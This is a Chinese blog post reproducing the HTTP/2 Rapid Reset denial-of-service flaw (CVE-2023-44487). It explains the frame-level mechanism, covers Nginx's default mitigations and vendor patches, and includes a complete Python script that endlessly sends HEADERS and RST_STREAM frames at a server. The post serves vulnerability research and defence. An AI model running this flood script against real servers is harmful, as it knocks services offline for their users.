漏洞验证:HTTP/2的快速重置DOS攻击(CVE-2023-44487)

本文介绍了HTTP/2协议中的RST_STREAM帧如何被恶意利用形成DDoS攻击,通过Python代码示例展示了攻击原理。同时提到Nginx不受此漏洞影响的配置以及漏洞的预防措施,强调及时更新以保障系统安全。
摘要由CSDN通过智能技术生成

声明

本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

一、漏洞原理

对于 HTTP/1.1来说,HTTP/2 协议的一个更新点在于 单连接上的多路复用:就是说HTTP/2 协议允许在单个连接上同时发送多个请求,每个 HTTP 请求和响应都使用不同的流。

这些数据流称为 数据帧 ,其中比较重要的包括:

  • SETTINGS 帧:控制消息,用于传递关于 http2 连接的配置参数,例如 SETTINGS_MAX_CONCURRENT_STREAMS 定义连接上的最大并发流数目。

  • RST_STREAM 帧:直接取消一个流。如果客户端不想再接收服务端的响应,可以直接发送 RST_STREAM 帧。

客户端可以通过发送 RST_STREAM帧直接取消一个流,当服务端收到一个 RST_STREAM帧时,会直接关闭该流。

此时 客户端 可以不停向 服务器 发送请求,中间不用等待任何响应,导致 服务器 陷入了接受请求-处理请求-直接结束请求的循环中。

攻击者就可以利用该漏洞,通过持续的HEADERSRST_STREAM帧组合,来消耗 服务器 资源,进而影响 服务器 正常请求的处理,造成 DDoS 攻击。

二、编写python代码

#!/usr/bin/env python3
 
import socket
import ssl
import certifi
 
import h2.connection
import h2.events
 
 
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
 
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
 
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
 
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
 
headers = [
    (':method', 'GET'),
    (':path', '/'),
    (':authority', SERVER_NAME),
]
 
while True:
    stream_id = c.get_next_available_stream_id()
    print(stream_id)
    c.send_headers(stream_id, headers, end_stream=True)
    s.sendall(c.data_to_send())
    c.reset_stream(stream_id)
    s.sendall(c.data_to_send())
 
# tell the server we are closing the h2 connection
c.close_connection()
s.sendall(c.data_to_send())
 
# close the socket
s.close()

代码实现功能:不断发送 HEADERS 帧和 RST_STREAM 帧序列。

在本地或者云搭建好相应的服务器环境,HTTP/2协议,用py脚本进行测试运行,即可看到服务器负载快速增加,并且出现明显卡顿。

三、不受影响的版本:nginx

Nginx 中有如下的的默认值配置,该攻击对 Nginx 基本无影响:

  • keepalive_requests:保持默认配置 1000

  • http2_max_concurrent_streams:保持默认配置 128

Nginx 1.19.7 及其之后版本是通过keepalive_requests 来限制一个 HTTP/2 TCP 连接上请求总数量。

1.19.7 之前的版本是通过http2_max_requests 来实现该目的。

Nginx 能够限制一个 TCP 连接上的请求总数量为 1000 个。如果攻击者想持续利用该漏洞,就不得不新建新的 TCP 连接。

四、漏洞预防

遵循供应商的建议,及时进行更新。Microsoft 已发布 IIS (HTTP.sys) 和 .NET (Kestrel) 的更新。Apache 软件基金会发布了 Tomcat 的更新,F5 发布了 Nginx 的更新。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值